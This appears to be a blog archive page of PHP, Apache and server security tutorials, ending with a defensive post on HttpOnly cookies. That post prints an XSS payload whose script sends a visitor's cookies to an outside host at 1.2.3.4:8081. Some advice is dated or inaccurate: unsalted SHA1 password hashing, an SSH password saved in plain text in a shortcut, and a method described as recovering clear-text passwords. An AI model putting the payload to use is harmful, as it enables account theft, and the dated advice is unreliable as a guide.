Categories
Information Security Linux Server Administration Tips PHP Tips & Tutorials

500 Internet Server Error for Incorrect Permissions after Installing suPHP and Uploading PHP Script

Many’s the time after you have uploaded some PHP script to your server and point the web browser to the address it gives 500 Internet Server Error. If you have suPHP installed this is very likely because the uploaded PHP script (files and directories) have wrong permissions set to them.

With regards to Linux permissions, suPHP requires all directories to be at least 755 and all files to be at least 644 for any PHP script to run. If the directory or the PHP script has the wrong permissions set to them, suPHP would give out 500 Internet Server Error until you have corrected them. In addition, the directory and the PHP script must be owned by the current user and group or they wouldn’t run either.

To fix this is very easy, just perform the following command after you have uploaded the PHP script:

chown -R youruser /home/youruser/public_html/*
chgrp -R youruser /home/youruser/public_html/*
find /home/youruser/public_html/* -type f -exec chmod 644 {} \;
find /home/youruser/public_html/* -type d -exec chmod 755 {} \;

The 1st line sets everything (files and directories) under /home/youruser/public_html/ to be owned by user youruser.

The 2nd line sets everything (files and directories) under /home/youruser/public_html/ to be owned by group youruser.

The 3rd line sets all files under /home/youruser/public_html/ to be 644 in permissions.

The 4th line sets all directories under /home/youruser/public_html/ to be 755 in permissions.

Categories
HTTP Tips & Tutorials Information Security Internet Tools Web Applications & Online Software

Make Firefox to Not Send HTTP Referer (or On a Per-Site Basis)

By default browsers such as Firefox sends the Referer information to the target URL in the HTTP header, as defined by HTTP protocol, so the destination URL / website knows where you have come from. For instance, when you click this link to one of my friends’ sites, it would know you have arrived at Princessly from this page:

https://www.kavoir.com/2012/08/make-firefox-to-not-send-http-referer-or-on-a-per-site-basis.html

Because Firefox sends this information in the HTTP header.

While this is very valuable data to many parties, such as the website owners (who can analyze traffic sources) and market analysts (who wants to know people’s interests and habits so as to sell well), it can be bad for our privacy because it is disclosing our browsing information to the websites we are visiting. You may want to disable Firefox from sending the referrer.

How to disable Firefox to send HTTP referrer?

Just type:

about:config

In your Firefox address bar and click “I’ll be careful, I promise!”.

In search, type:

referer

And an entry reading “network.http.sendRefererHeader” would come out with a value that’s 2 by default. Right click on the entry and click “Modify”. Input 0 and click OK.

Restart your Firefox, and now it should not send any referer information any more. And no website would ever know where you were before coming to them.

Not Send Referer on a Per-Site Basis in Firefox?

However, sometimes this may break something as legitimate sites are also using referer information to better serve you. There must be some sites that you don’t quite trust and wanted to disable referer for them.

Simple. Just use the RefControl add-on for Firefox.

After installation, you should see a tiny button on the Add-on Bar, at the bottom of the Firefox window. When you are at the website, click on the button and select “RefControl Options for This Site” and you will have this dialog box:

block referer in Firefox

Just select your intended option for this particular site. If you do not want to send any referer information to this site, just select “Block – send no referrer” and click OK.

That’s it. Now Firefox will send no HTTP referer information to this particular site but will keep sending it to all other sites.

Categories
.htaccess Tutorials & Tips Free PHP Classes & Library Information Security PHP Tips & Tutorials

PHP Class for Handling .htpasswd and .htgroup (Member Login & User Management)

Apache is a marvelous web server that offers .htpasswd and .htgroup for controlling restricted access to your website. By help of .htaccess, they work as a member login & user management system that is so simple and easy to deploy. You can even define user groups / roles with it.

Basically,

  • .htpasswd defines pairs of username & password that are user accounts.
  • .htgroup defines groups / roles of user accounts that can be access-controlled as a whole.
  • .htaccess then applies .htpasswd and .htgroup to the current directory, and specifies which groups in .htgroup has access to the current directory.

For example, we have

/home/myuser/.htpasswd

user1:{SHA}kGPaD671VNU0OU5lqLiN/h6Q6ac=
user2:{SHA}npMqPEX3kPQTo+x/+ZckHDrIcQI=
user3:{SHA}q1Fh2LTUjjkncp11m0M9WUH5Zrw=

/home/myuser/.htgroup

admin: user2
editor: user1 user3
writer: user3

/home/myuser/public_html/example.com/member/.htaccess

AuthName "Members Area"
AuthType Basic
AuthUserFile /home/myuser/.htpasswd
AuthGroupFile /home/myuser/.htgroup
<Limit GET POST>
require group admin
require group writer
</Limit>

What they do is only let users in the admin and writer group, that is user2 and user3, to access example.com/member. When someone tries to access example.com/member, Apache would prompt him or her for user name and password, and he or she must be either user2 or user3 to access it – they must enter the correct password set out in .htpasswd for user2 or user3.

user1 isn’t allowed to access example.com/member even if the password is correct. You get the idea.

You can place .htaccess anywhere in your website, and it will control access to the directory it’s in by the defined rules (which groups / roles are allowed to access). Just make sure it is pointing to the right .htpasswd and .htgroup by AuthUserFile and AuthGroupFile.

And you can have multiple .htaccess in different directories of your website, using the same .htpasswd and .htgroup.

This is so simple yet so very handy in creating & managing different users and user roles (.htpasswd, .htgroup) and giving them permissions (.htaccess) in accessing different website assets.

PHP Class

Now that you are familiar with the basic authentication and native user management system in Apache, you can use this two simple PHP classes to automate tasks such as user creation, user deletion, adding user to group, and removing user from group.

class Htpasswd

class Htpasswd {
	
	private $file = '';
	private $salt = 'AynlJ2H.74VEfI^BZElc-Vb6G0ezE9a55-Wj';
	
	private function write($pairs = array()) {
		$str = '';
		foreach ($pairs as $username => $password) {
			$str .= "$username:{SHA}$password\n";
		}
		file_put_contents($this -> file, $str);
	}
	
	private function read() {
		$pairs = array();
		$fh = fopen($this -> file, 'r');
		while (!feof($fh)) {
			$pair_str = str_replace("\n", '', fgets($fh));
			$pair_array = explode(':{SHA}', $pair_str);
			if (count($pair_array) == 2) {
				$pairs[$pair_array[0]] = $pair_array[1];
			}
		}
		return $pairs;
	}
	
	private function getHash($clear_password = '') {
		if (!empty($clear_password)) {
			return base64_encode(sha1($clear_password, true));
		} else {
			return false;
		}
	}
	
	public function __construct($file) {
		if (file_exists($file)) {
			$this -> file = $file;
		} else {
			die($file." doesn't exist.");
			return false;
		}
	}

	public function getUsers() {
		return $this -> read();
	}
	
	public function addUser($username = '', $clear_password = '') {
		if (!empty($username) && !empty($clear_password)) {
			$all = $this -> read();
			if (!array_key_exists($username, $all)) {
				$all[$username] = $this -> getHash($clear_password);
				$this -> write($all);
			}
		} else {
			return false;
		}
	}
	
	public function deleteUser($username = '') {
		$all = $this -> read();
		if (array_key_exists($username, $all)) {
			unset($all[$username]);
			$this -> write($all);
		} else {
			return false;
		}
	}
	
	public function doesUserExist($username = '') {
		$all = $this -> read();
		if (array_key_exists($username, $all)) {
			return true;
		} else {
			return false;
		}
	}
	
	public function getClearPassword($username) {
		return strtolower(substr(sha1($username.$this -> salt), 4, 12));
	}
	
}

class Htgroup

class Htgroup {
	
	private $file = '';
	
	private function write($groups = array()) {
		$str = '';
		foreach ($groups as $group => $users) {
			$users_str = '';
			foreach ($users as $user) {
				if (!empty($users_str)) {
					$users_str .= ' ';
				}
				$users_str .= $user;
			}
			$str .= "$group: $users_str\n";
		}
		file_put_contents($this -> file, $str);
	}
	
	private function read() {
		$groups = array();
		$groups_str = file($this -> file, FILE_IGNORE_NEW_LINES);
		foreach ($groups_str as $group_str) {
			if (!empty($group_str)) {
				$group_str_array = explode(': ', $group_str);
				if (count($group_str_array) == 2) {
					$users_array = explode(' ', $group_str_array[1]);
					$groups[$group_str_array[0]] = $users_array;
				}
			}
		}
		return $groups;
	}
	
	public function __construct($file) {
		if (file_exists($file)) {
			$this -> file = $file;
		} else {
			die($file." doesn't exist.");
			return false;
		}
	}

	public function getGroups() {
		return $this -> read();
	}
	
	public function addUserToGroup($username = '', $group = '') {
		if (!empty($username) && !empty($group)) {
			$all = $this -> read();
			if (isset($all[$group])) {
				if (!in_array($username, $all[$group])) {
					$all[$group][] = $username;
				}
			} else {
				$all[$group][] = $username;
			}
			$this -> write($all);
		} else {
			return false;
		}
	}
	
	public function deleteUserFromGroup($username = '', $group = '') {
		$all = $this -> read();
		if (array_key_exists($group, $all)) {
			$user_index = array_search($username, $all[$group]);
			if ($user_index !== false) {
				unset($all[$group][$user_index]);
				if (count($all[$group]) == 0) {
					unset($all[$group]);
				}
				$this -> write($all);
			}
		} else {
			return false;
		}
	}

	public function getGroupsByUser($username = '') {
		$all = $this -> read();
		$user_groups = array();
		foreach ($all as $group => $users) {
			if (in_array($username, $users)) {
				$user_groups[] = $group;
			}
		}
		return $user_groups;
	}

}

Usage

First, you should use your own $salt. Change the value of $salt in the Htpasswd class to something else for your own application.

To instantiate the classes:

$passwdHandler = new Htpasswd('/home/myuser/.htpasswd');
$groupHandler = new Htgroup('/home/myuser/.htgroup');

To create and delete a user:

// Add a user with name 'user1' and password 'I prefer to use passphrase rather than password.' if it doesn't exist in .htpasswd.
$passwdHandler -> addUser('user1', 'I prefer to use passphrase rather than password.');
// Delete the user 'user1' if it exists in .htpasswd.
$passwdHandler -> deleteUser('user1');

To check if a particular user exists in .htpasswd:

// Check if user 'user1' exists in .htpasswd.
if ($passwdHandler -> doesUserExist('user1')) {
	// User 'user1' exists.
}

To get the clear text password for a particular user (Apache stores passwords in .htpasswd as encoded strings):

// Get the clear password for user 'user1'.
echo $passwdHandler -> getClearPassword('user1');

To add a user to a group:

// Add user 'user1' to group 'admin' in .htgroup. Group will be automatically created if it doesn't exist.
$groupHandler -> addUserToGroup('user1', 'admin');

To delete a user from a group (user still exists in .htpasswd, just not associated with the group any more):

// Delete user 'user1' from group 'admin' in .htgroup. Group will be automatically removed if it doesn't contain any users.
$groupHandler -> deleteUserFromGroup('user1', 'admin');

To get a list of groups a particular user is assigned to:

/* Get an array of groups that 'user1' is a member of. */
$user_groups = $groupHandler -> getGroupsByUser('user1');

Conclusion

This ain’t concluded. It’s just an END notice. Feel free to let me know your thoughts and how my classes work for you.

Categories
Hosting Tips & Deals Information Security

SSH Web Hosting as Socks5 Proxy for VPN Tunnels via PuTTY

ssh consoleFew know that those who have web hosting are at the same time endowed with a free VPN (Virtual Private Network, a very safe connection to transfer important data). With a few simple steps by the help of PuTTY, the tiny legendary SSH program, anyone with a web hosting account can have a private VPN that’s dedicated, premium and only limited by the monthly bandwidth of your hosting account. This is the safest VPN because it’s not even monitored by the VPN company. It’s completely YOURS.

Before proceeding, you need to make sure your hosting account has SSH enabled. Most hosts offer that nowadays.

What you will get?

You will have an awesome auto-login VPN program on your Windows desktop via SSH tunnels, based on PuTTY. Should get you the same thing on other systems following the same steps outlined below.

Double click to start the program, and a dedicated socks5 proxy will be established on your local computer which connects to your hosting server to form a VPN you can use.

How to get it?

To turn your web hosting account into a private VPN so you can use it to surf the web safely and anonymously, simply follow these steps:

  1. Finish these steps: http://www.shanghaiwebhosting.com/web-hosting/use-your-web-hosting-ssh-session-as-a-tunnel-for-socks5-proxy-server
  2. In step 4 at the above URL, you will save the session and give it a name, e.g. ‘my_server’.
  3. Create a shortcut of this command: C:\tools\putty.exe -load my_server -l your_user_name -pw your_password

Make sure to use your own path to putty.exe rather than “C:\tools\putty.exe”.

The 3rd step is what makes all the difference – manual login or auto-login.

Without the 3rd step, you could still establish the VPN connection but you need to manually enter user name and password every time you start the SSH session. To make things simple, you want PuTTY to auto-login with pre-entered user name and password. That’s where the command line shortcut comes in.

The -load directive loads the saved session, -l specifies the SSH login user name, and -pw specifies the SSH password.

Double click, and that’s it!

Double click the shortcut and an SSH session window will be opened, PuTTY then automatically logs in with the user name and password you provided. If the auto-login is successful, a connection to your hosting server is established, thus VPN created.

Simply leave the session window open and configure your web browser to use ‘localhost’ as socks5 proxy on port ‘8844’ (you can specify a different port in Step 3 of this article), and you will be surfing the web safely and anonymously on a privately premium VPN!

Note that all your browsing traffic is counted on your web hosting’s monthly bandwidth bills. Think twice when you want to perform large downloads (such as 5GBs or larger) because they might end up being a bit costy.

Categories
Information Security PHP Tips & Tutorials

How to create / generate .htpasswd password with PHP dynamically?

The easy way to add a username and password pair in the .htpasswd file is to use an online password generator tool that converts the clear text password into its hash, a.k.a. the encrypted password. The problem with this approach is that you have to manually create the pair and append it to .htpasswd. Is there a way to dynamically generate encrypted passwords for .htpasswd in PHP?

According to http://httpd.apache.org/docs/2.2/misc/password_encryptions.html, we have come up with the following solution:

$pass = 'YourClearTextPasswordString';
$hash = base64_encode(sha1($pass, true));
$encoded = '{SHA}'.$hash;
echo $encoded;

And $encoded is the result we need, which would look something like:

{SHA}hNz9UE9WLiMlzYI+LRtwr0U+DHY=

Suppose the username is ‘manager’ and you can add the following line at the end of your .htpasswd file to make the credentials in effect:

manager:{SHA}hNz9UE9WLiMlzYI+LRtwr0U+DHY=

You can also write / append this to the file by PHP but that’s not covered here.

What’s better, the SHA1 algorithm is much more advanced than DES which most of the online .htpasswd generation tool still uses to generate the hash string of the clear password for you. DES supports only 8 digits and that’s where lengthy passwords fail.

Categories
.htaccess Tutorials & Tips Information Security

Use .htaccess to allow access only from a single HTTP referrer

Sometimes you want the user to access something (a web page or a downloadable file) only by clicking a link on your own website instead of being able to directly access it by typing in the URL address in the browser address bar. This is achievable by a few lines in .htaccess.

RewriteEngine On
RewriteCond %{HTTP_REFERER} !(www.)?example.com/download-page.php
RewriteRule .* - [F]

Write down the above lines in the .htaccess of the directory that you want users to access only by clicking links on http://www.example.com/download-page.php or http://example.com/download-page.php. Direct access to download stuff from the directory or from any other HTTP referrer will fail.

While this may not be bullet proof as referral information can be faked from the client side, it is a simple solution that should suffice in most cases. For example, this can be used to prevent hot linking from other websites that link directly to something on your website, reducing traffic stealing.

Categories
.htaccess Tutorials & Tips Information Security PHP Tips & Tutorials

Turn off and disable magic_quotes_gpc in .htaccess

It’s not only insecure but it inconveniently commands the use of PHP function stripslashes() every time you pull something from the database or when you get something from the client side. While most of the hosts out there are using factory settings of PHP that turn off magic_quotes_gpc by default, there are a few that don’t.

The value of magic_quotes_gpc cannot be set with the ini_set() function after PHP 4.2.3, some hosts enable custom php.ini in your home directory which you can use to set magic_quotes_gpc to 0 (zero) or false. Otherwise, you’d have to resort to .htaccess to set the PHP configuration values for your local directories.

To turn off magic_quotes and magic_quotes_gpc off in .htaccess, simply put these lines in the .htaccess file of your site / directory wherein you want magic_quotes or magic_quotes_gpc disabled:

php_value magic_quotes 0
php_flag magic_quotes off
php_value magic_quotes_gpc 0
php_flag magic_quotes_gpc off
Categories
Information Security PHP Tips & Tutorials

PHP Security Guide & Checklist for Websites and Web Applications – Bottom Line for Every Good PHP Developer

web security statistics It’s not easy to become a great PHP developer which may very well take years of training and practice, but this doesn’t mean you shouldn’t do your best to not be a bad one that undermines every project he’s involved in. Based on the project experiences of my team and some recent researches done on PHP security issues, I have come up with a list of things you should know and do in your PHP code to achieve this goal. A few of them may be subjective and opinionated but most of them are actually security bottom lines that every self-deemed good PHP developer must definitely adhere to.

Below is a statistic breakdown of web security vulnerabilities in the first half of 2009, to give you a rough idea of what are the major security problems websites and web applications suffer:

web security vulnerabilities by type 2009

You can download the full version in PDF prepared by Cenzic. It has some very interesting web attacks data.

There are a lot more to consider other than PHP to secure your application. This is just a starting point if you are not also a system administrator who is equally responsible in maintaining a secure server (OS, web server, etc.). Oh and there’s browser security (such as phishing) that you essentially have no control over. So we will just stick to PHP here.

php.ini

Some of the default settings in php.ini in earlier PHP versions are pretty dangerous. Modify the original php.ini if you are a server administrator or create custom php.ini in the webroot (directory of the web documents, accessible to the public via web server) to override the unsafe settings or use in-code functions such as ini_set():

  1. Disable register_globals and don’t rely on it in your code:
    register_globals = Off
  2. Disable magic quotes and don’t rely on it in your code:
    magic_quotes_gpc = Off
  3. Disable error reporting:
    display_errors = Off

    This is for production deployment, otherwise achievable runtime by error_reporting(0). For development and debugging, make sure you turn on the full error reporting in your code by error_reporting(E_ALL) so that you get a full grip of what’s going on with your application.

  4. Enable error logging and save the log file to a directory below webroot:
    log_errors = On
    ignore_repeated_errors = On
    html_errors = Off
    error_log = /path/below/webroot/logs/php_error_log

    Normally the errors will be displayed to the users / crackers when something goes wrong thus disclosing internal information about your application. Now that we have disallowed them to display publicly, enabling error logging helps capture all PHP errors and store them somewhere the users / crackers cannot access yet we can retrieve and analyze when necessary.

  5. Store session data below webroot:
    session.save_path = /path/below/webroot/sessions

In most cases, you don’t have to worry about more than just the error logging part because the most up-to-date version of PHP has been well optimized in security by default. For example, register_globals and magic_quotes_gpc are turned off as factory settings, and session data is automatically stored outside of webroot. Other than these, feel free to override things by the ini_set() function when you feel obligated to.

Note that magic_quotes_gpc cannot be set by ini_set() any more after PHP version 4.2.3, you have to do it in a local php.ini or .htaccess.

.htaccess

Disable directory listing site wide by adding this line to the .htaccess file (hidden) placed in the document root of your domain:

Options -Indexes

And allow it in the specific directory where it is absolutely necessary and no files that are meant to be shown publicly are stored:

Options +Indexes

Valuable files and sensitive data

This includes member only materials, administrator stuff and site wide configuration files containing the vital data of your site, or whatever you feel uncomfortable exposed to the public. In fact, if you are having doubts whether some file is all right to be exposed, don’t expose it at all.

  1. Store them below (outside) webroot so they cannot be retrieved by anyone via web server requests.
  2. Hide the file path and use a PHP script to provide download of it.

Uploaded files

Compulsory security practices when handling uploaded files:

  1. Validate the file name in $_FILES against potential data manipulation. For instance, discard anything that’s not alphanumeric or dot in the file name string.
  2. Validate the mime type against potential spoof and discard anything that seems not what you expect.
  3. After validation, change the file name and move it somewhere confidential below webroot. You can also optionally tar it for storing.
  4. Never execute / serve uploaded files with include() nor require().
  5. Never serve files with mime types of “application/octet-stream”, “application/unknown” nor “plain/text”.

Incoming requests

Cross Site Request Forgery (CSRF) Attacks: Just as the name suggests, the request is forged / fabricated from the authenticated user’s computer yet without his awareness and acknowledgement. For example, the malicious attacker creates a sneaky link (Clickjacking) or a form and manages to trick the legally logged user to use it to submit a hidden request to your application to perform something that he doesn’t authorize at all such as deletion. To prevent it:

  1. Create a confirmation page for the legitimate user to make a final call by clicking ‘Yes’ or ‘No’. The request is then submitted to the server by POST method. Don’t just delete something (or perform other important operations) upon a simple GET request.
  2. Generate a unique token (whatever name = value) in the user’s session and include it in every form as a hidden field so whenever the user submits a POST request, you can check if the form contains the correct token against that in the session variable to make sure if it is submitted by the user by true intentions.

Incoming / User provided data

Always filter or sanitize incoming data in $_GET, $_POST, $_COOKIE or $_REQUEST before using them in your code. Validate that a value is just what you expect and discard any characters suspicious / unneeded. Better yet, white list a few value prototypes by regular expressions and ignore anything that doesn’t match the criteria.

Path Traversal Attacks: By browsing through and trying different combinations of path input to your application, the cracker aims to access files and directories outside of the webroot, probably with a chain of ‘../’ in the path input. To prevent the attack:

  1. Never use user input data directly in your code before it is sanitized or tested against the white list, especially when it is used to determine the subject of file open, include / require, file create and file delete operations.
  2. Let users select indexes rather than the literal path string / file name. For example, open file “/home/test/whatever.txt” when “7” is selected by the user.
  3. In fact, don’t give users the chance to make the call of which file / path to be used / included at all.
  4. Don’t disclose your directory structure to the users in any way, for example, as a hidden field in the form.

SQL Injection Attacks: Exploits of secure vulnerabilities that occur in the database layer of an application wherein user input is not filtered for reserved characters that may cause the database to falsely interpret and execute the SQL query. To prevent this attack:

  1. Escape a string value before using it as part of a SQL query:
    $mysqli -> real_escape_string($str)

    You can also use PDO to prepare the SQL queries, which will automatically sanitize any literal values by escaping it before using them in the query.

Cross-Site Scripting (XSS) Attacks: Or JavaScript injection, security vulnerabilities that allow malicious users to inject HTML code into your web pages that other users can view and execute. It can mess up the page, more fatally, it can load an arbitrary JavaScript script (hosted on another domain) in the user’s browser and steal their cookies thus identity. To prevent this attack:

  1. Cookie should be set with the HttpOnly option enabled (true).
  2. Escape anything and everything that goes live on a web page to be seen by your users:
    htmlentities($str)

Passwords

  1. Optionally enforce strong passwords to your users by only accepting passwords of certain lengths and complexity.
  2. Never store plain text passwords in your database. Instead, salt and hash the passwords. Bottom line is sha1(). Better yet, use hash() with various more advanced algorithms. Never use md5().
  3. Optionally use pass phrases instead of passwords.

Sessions

  1. Regenerate the session ID every time a user’s privileges are upgraded, for example, from visitor to registered member by logging in or from registered member to administrator by further logging in the administrator control panel:
    session_regenerate_id();
  2. Completely destroy session variables (not just empty them) by:
    session_destroy();
  3. Store IP address of initial authentication in session variables and compare request source IP every time you receive a request from the user. However, IP address can unexpectedly change during a legal session and can be a public proxy in the first place.

Cookies

  1. When you need to wipe out some cookie variable, delete it from both the user’s browser AND your server:
    setcookie('SomeCookie', '', time() - 3600); // deletes it from client side
    unset($_COOKIE['SomeCookie']); // deletes it from server side

Other things to consider

  1. All helper / utility scripts in your application that helps develop and debug should be removed from the production deployment. Only necessary files are to remain.
  2. Never talk about your application structure or any other vital information regarding it as real examples in public places such as developer / server administrator discussion boards.
  3. Maintain your own private PHP framework to employ these security practices in a general level. So you will not need to worry about the security particulars of all the projects that derive from this framework. Or use one of the popular PHP frameworks who have gone a long way in security and have been broadly tested by thousands of projects and billions of end users.
  4. It’s not enough to just check and fix your code against these attacks. You have to assimilate these attack prevention tips into your daily coding arsenal and make them as natural as they must be done wherever they are needed. They have to become part of your blood and just feel right to you. Bobince makes a good point on this by asking for a PHP tutorial that preaches the right thing from the very beginning. For example, when you echo something with PHP to the output, even if you are an absolute beginner, it doesn’t absolve you from escaping them first:
    $str = 'Hi, I\'m on a web page.';
    echo htmlentities($str);

Please don’t hesitate to tip in by commenting below to make this security checklist as complete and useful as possible. To start a serious learning session of developing secure web applications, these books will provide a kickass ride for you.

Categories
Information Security LAMP Developer Books

Web Application Security Books (PHP, MySQL, Apache), the Best at Amazon

HTTP: The Definitive Guide Security may not make you but it sure can break you. As modern web applications become more and more complexed puzzles and filled with thousands of features catering to a spectrum of user preferences and tastes, the developers are burdened with ever-going responsibilities to keep them sound and safe. There are people (crackers) out there who are trying to make a name by breaking into your backyard or otherwise messing around in any way possible to make your day interesting. Your application or website is potentially vulnerable by simply being online. Everyone including innocent users can mess things up if yours is designed without security awareness. These books of web security are hand selected from Amazon that will get you a strong start on building secure websites applications and avoid being hacked. They are both new (published no more than 5 years ago) and well received (rated no less than 4/5 by the readers).

General Website / Web App Security

Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast

 Web Security Testing Cookbook Systematic Techniques to Find Problems Fast

The Web Application Hacker’s Handbook: Discovering and Exploiting Security Flaws

The Web Application Hacker's Handbook Discovering and Exploiting Security Flaws

How to Break Web Software: Functional and Security Testing of Web Applications and Web Services

How to Break Web Software Functional and Security Testing of Web Applications and Web Services

Foundations of Security: What Every Programmer Needs to Know (Expert’s Voice)

Foundations of Security What Every Programmer Needs to Know (Expert's Voice)

PHP Security

Essential PHP Security

Essential PHP Security

Pro PHP Security

Pro PHP Security

Apache Security

Apache Security

Apache Security

Database / MySQL Security

The Database Hacker’s Handbook: Defending Database Servers

The Database Hacker's Handbook Defending Database Servers

MySQL Administrator’s Bible (Bible (Wiley))

MySQL Administrator's Bible (Bible (Wiley))

Other Security Related Books

Ajax Security

Ajax Security

Web Application Architecture: Principles, Protocols and Practices

Web Application Architecture Principles, Protocols and Practices

HTTP: The Definitive Guide

HTTP The Definitive Guide

To learn more about these specific areas and build better web applications, Amazon has the best PHP books, best MySQL books and best Apache Books.

Categories
Information Security PHP Tips & Tutorials

PHP: setcookie() with HttpOnly Option to Reduce XSS (Cross Site Scripting) Attacks by Preventing JavaScript from Reading Cookies

It may considerably reduce XSS attack possibilities if not completely eradicate it. XSS, or Cross Site Scripting, is probably the most common security problems in web applications that engage in heavy user input. If you’ve ever tried to build a web application that users can input data in a lot of different venues, chances are it has a security hole somewhere that allows XSS attacks. Don’t panic though. Most web applications, even the most sophisticated ones developed by the best programmers such as vBulletin and WordPress release patches from time to time to fix XSS holes.

While it appears that XSS does no more than messing up the web pages in client’s browsers, it can be much much worse. XSS attacks make it possible for crackers to completely steal your identity (e.g. administrator account) on the website by planting a JavaScript file hosted somewhere else into your application pages. For instance, consider a malicious user who manages to put the following HTML code into the biography section of his user profile page on your application:

<script type=text/javascript src=http://1.2.3.4:8081/xss.js></script>

When you visit that page, without any knowledge of it at all, your browser automatically downloads and runs the script xss.js which contains a simple snippet:

window.location="http://1.2.3.4:8081/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;

Via an HTTP GET request to the cracker’s server, the JS file successfully fetches and sends your cookie to the cracker. And the cookie is what your application solely relies on to recognize you as the administrator. Your identity is thus completely stolen by the cracker and he can now log into your application as the administrator. Horror story.

The first defense against XSS is to trust none of the user provided data and encode all incoming data into HTML entities before outputting them on the web pages. But that’s not enough. Unless you absolutely need JavaScript to be able to access cookies for your application, you are highly recommended to set the cookie to be accessible only via HTTP requests (from your own application server instead of user’s local browser). To do that, set the HttpOnly option of the PHP setcookie() function to be true:

setcookie("loggedin", 1, time() + 86400, "/admin/", "example.com", false, true); // the last (7th) parameter value true does the job

The last option value "true" effectively turns on the HttpOnly option and the cookie "loggedin" will ONLY be accessible to HTTP requests from the domain server and no JavaScript can read it any more. The HttpOnly parameter of the setcookie() function is only available in PHP 5.2.0 or later.